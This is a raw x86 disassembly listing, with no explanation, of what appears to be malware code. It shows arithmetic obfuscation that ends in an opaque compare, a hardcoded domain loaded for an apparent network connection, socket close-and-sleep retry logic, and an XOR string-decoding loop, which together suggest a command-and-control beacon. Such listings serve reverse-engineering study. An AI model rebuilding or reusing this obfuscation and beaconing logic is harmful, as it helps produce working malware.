xor eax, 0x141d3884
and eax, 0x2b21e34e
or eax, 0xf3ed741f
sub eax, 0x61756bf1
sub eax, 0xf4e52ac6
mov edi, 0x4b0075b
xor edx, edx
div edi
and eax, 0xebb2da30
mov edi, 0x39e6a564
xor edx, edx
div edi
add eax, 0xbee416ff
imul eax, eax, 0x41ba2f54
add eax, 0x9eaa0d4d
imul eax, eax, 0xc8b5dee3
and eax, 0x223d2b03
imul eax, eax, 0x7cc902d4
mov edi, 0x5d549324
xor edx, edx
div edi
mov edi, 0xf31252ec
xor edx, edx
div edi
sub eax, 0xf185b939
and eax, 0xb1d95f6e
add eax, 0x8c00f13e
sub eax, 0x26692449
add eax, 0x7a8cdea3
sub eax, 0xd76c019e
add eax, 0xb5b82bcc
xor eax, 0x123c090c
sub eax, 0xb2c75b0f
or eax, 0x90dd5bf4
or eax, 0x6f714b08
imul eax, eax, 0xe9f48f91
mov edi, 0x682838e2
xor edx, edx
div edi
add eax, 0xf2af81bb
xor eax, 0x3a4db2c2
imul eax, eax, 0x578f7124
or eax, 0xaf1f647a
sub eax, 0xe8bcb17b
mov edi, 0x1d1acf62
xor edx, edx
div edi
mov edi, 0xef7d48f7
xor edx, edx
div edi
xor eax, 0xfdb00cc4
imul eax, eax, 0xcc99b817
and eax, 0x55b61981
and eax, 0xe69c8675
add eax, 0x4e29e6b1
add eax, 0xdf321b87
imul eax, eax, 0x2db208a7
and eax, 0x45887611
sub eax, 0x733e5678
xor eax, 0x99bcf931
add eax, 0x191d2ae9
or eax, 0xae680d87
mov edi, 0x681ae4e
xor edx, edx
div edi
xor eax, 0x6a2af5c0
imul eax, eax, 0x69bcb899
imul eax, eax, 0x3f08cd46
and eax, 0xb8017ccf
mov edi, 0xa0cf4b51
xor edx, edx
div edi
xor eax, 0x91a92486
xor eax, 0x88280652
imul eax, eax, 0xd837993e
mov edi, 0x2e9f5f6e
xor edx, edx
div edi
and eax, 0x22c08ab9
add eax, 0xc831b1d
or eax, 0x1b015fed
add eax, 0xc82cc54a
or eax, 0xbce874ce
mov edi, 0xbf4a691f
xor edx, edx
div edi
or eax, 0x92e2c9f5
or eax, 0x6b070e51
sub eax, 0xf873e610
sub eax, 0x8b5a4ced
imul eax, eax, 0x609df26
mov ecx, dword [ecx]
mov dword [esi + 0x30], ecx
cmp eax, 0xdd86de00
je 0x10063ed1
mov ecx, dword [esi + 0x168]
xor ecx, ebp
call fcn.1007916f
mov eax, dword [esi + 0x30]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x100d2290]
jmp 0x100600d0
mov dword [0x100d2290], 1
push eax
push eax
mov ecx, esp
push eax
mov eax, esp
mov dword [esi + 4], eax
push eax
mov ebx, esp
sub esp, 0x10
mov edi, esp
mov eax, edi
mov dword [esi + 0x10], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x1c], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 8], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xc], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x14], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x20], eax
push eax
mov eax, esp
mov dword [esi + 0x24], eax
push eax
mov eax, esp
mov dword [esi + 0x28], eax
push eax
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0xc
sub esp, 0xc
sub esp, 0xc
sub esp, 0xc
push eax
push eax
push eax
push eax
sub esp, 8
push eax
push eax
sub esp, 0x190
push eax
sub esp, 0x18
sub esp, 0x20
push eax
push eax
push eax
sub esp, 8
sub esp, 8
sub esp, 8
sub esp, 8
sub esp, 0xc
sub esp, 8
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
sub esp, 0x10
push eax
push eax
sub esp, 0xc
push eax
push eax
sub esp, 0xffc
push eax
push eax
push eax
sub esp, 0x14
push eax
push eax
push eax
push eax
mov eax, dword [esi + 0x15c]
mov dword [ecx], eax
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x160]
mov dword [eax], ecx
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0x164]
mov dword [ebx], eax
mov eax, dword [esi + 0xc]
movsd xmm0, qword [0x100cf195]
movsd qword [edi + 5], xmm0
movsd xmm0, qword [0x100cf190]
movsd qword [edi], xmm0
mov edi, dword [0x100cf111]
mov dword [edx + 7], edi
movsd xmm0, qword [0x100cf10a]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x100c40e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x100c40d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
movups xmm0, xmmword [0x100cf125]
movups xmmword [eax], xmm0
call fcn.10059c90
mov ecx, dword [esi + 0x10]
mov edi, eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x18], edi
mov edi, edx
mov edx, dword [esi + 0x18]
mov dword [eax + 4], edi
mov dword [eax], edx
mov edx, dword [eax]
mov edi, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1004f750
mov ecx, dword [esi + 0x1c]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x20]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x24]
mov ecx, dword [esi + 0x28]
mov edi, eax
mov eax, dword [esi + 0x2c]
mov dword [edx], edi
mov dword [ecx], 0
mov dword [eax], ecx
jmp 0x10060ac2
jmp 0x1006120e
mov ecx, dword [esi + 0xac]
mov edx, dword [esi + 0xa8]
mov edi, dword [esi + 0x68]
mov eax, dword [esi + 0x84]
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, eax
mov eax, dword [esi + 0xa0]
mov dword [eax], ecx
jmp 0x1006159b
mov edi, dword [esi + 0xf4]
sub esp, 4
mov dword [esp], 0x104
call fcn.10079161
mov edx, dword [esi + 0xfc]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xf8]
mov dword [eax], ecx
mov ecx, dword [0x100cf208]
mov dword [edx], ecx
mov ecx, dword [str._vc7]
mov dword [edx + 4], ecx
mov ecx, dword [0x100cf210]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10099e70
mov ecx, dword [esi + 0xf8]
add esp, 8
mov eax, dword [esi + 0x68]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
mov ecx, dword [esi + 0xf8]
add esp, 8
mov eax, dword [esi + 0x6c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
mov ecx, dword [esi + 0xf8]
add esp, 8
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
add esp, 8
mov eax, dword [esi + 0xf8]
mov ecx, dword [eax]
lea eax, [0x100c4496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
mov edx, dword [esi + 0xf8]
mov ecx, dword [esi + 0xd8]
add esp, 8
mov eax, dword [esi + 0x100]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1009a000
mov edx, dword [esi + 0x100]
add esp, 4
mov ecx, eax
mov eax, dword [esi]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0xec]
mov dword [eax], ecx
jmp 0x10061c66
mov eax, dword [esi + 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0x60]
mov edx, dword [esi + 0x64]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1005fee0
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x58]
mov dword [eax], ecx
jmp 0x100621dd
mov eax, dword [esi + 0x124]
mov dword [eax], 0
jmp 0x10062682
jmp 0x100629ee
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x104]
mov edx, dword [esi + 0x124]
mov edi, dword [esi + 0x114]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x10062d8c
mov eax, dword [esi + 0x118]
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.100130a0
add esp, 4
jmp 0x10063144
jmp 0x1006355b
jmp 0x10063915